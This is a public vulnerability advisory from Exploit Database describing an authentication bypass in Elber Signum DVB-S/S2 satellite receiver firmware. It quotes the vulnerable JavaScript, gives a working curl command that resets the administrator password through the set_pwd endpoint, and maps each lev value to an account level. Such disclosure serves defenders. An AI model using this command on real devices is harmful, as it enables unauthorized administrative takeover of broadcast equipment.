Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 – Authentication Bypass

Exploit Database
153 阅读

作者： LiquidWorm

日期： 2024-05-04
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/52002/

Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Authentication Bypass

Vendor: Elber S.r.l.

Product web page: https://www.elber.it

Affected version: 1.999 Revision 1243

1.317 Revision 602

1.220 Revision 1250

1.220 Revision 1248_1249

1.220 Revision 597

1.217 Revision 1242

1.214 Revision 1023

1.193 Revision 924

1.175 Revision 873

1.166 Revision 550

Summary: The SIGNUM controller from Elber satellite equipment demodulates

one or two DVB-S/ S2 signals up to 32APSK (single/multi-stream), achieving

256 KS/s as minimum symbol rate. The TS demodulated signals can be aligned

and configured in 1+1 seamless switching for redundancy. Redundancy can also

be achieved with external ASI and TSoIP inputs. Signum supports MPEG-1 LI/II

audio codec, providing analog and digital outputs; moreover, it’s possible

to set a data PID to be decoded and passed to the internal RDS encoder,

generating the dual MPX FM output.

Desc: The device suffers from an authentication bypass vulnerability through

a direct and unauthorized access to the password management functionality. The

issue allows attackers to bypass authentication by manipulating the set_pwd

endpoint that enables them to overwrite the password of any user within the

system. This grants unauthorized and administrative access to protected areas

of the application compromising the device's system security.

--------------------------------------------------------------------------

/modules/pwd.html

------------------

50: function apply_pwd(level, pwd)

51: {

52: $.get("json_data/set_pwd", {lev:level, pass:pwd},

53: function(data){

54: //$.alert({title:'Operation',text:data});

55: show_message(data);

56: }).fail(function(error){

57: show_message('Error ' + error.status, 'error');

58: });

59: }

--------------------------------------------------------------------------

Tested on: NBFM Controller

embOS/IP

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2024-5814

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5814.php

18.08.2023

$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234

Ref (lev param):

Level 7 = SNMP Write Community (snmp_write_pwd)

Level 6 = SNMP Read Community (snmp_read_pwd)

Level 5 = Custom Password? hidden. (custom_pwd)

Level 4 = Display Password (display_pwd)?

Level 2 = Administrator Password (admin_pwd)

Level 1 = Super User Password (puser_pwd)

Level 0 = User Password (user_pwd)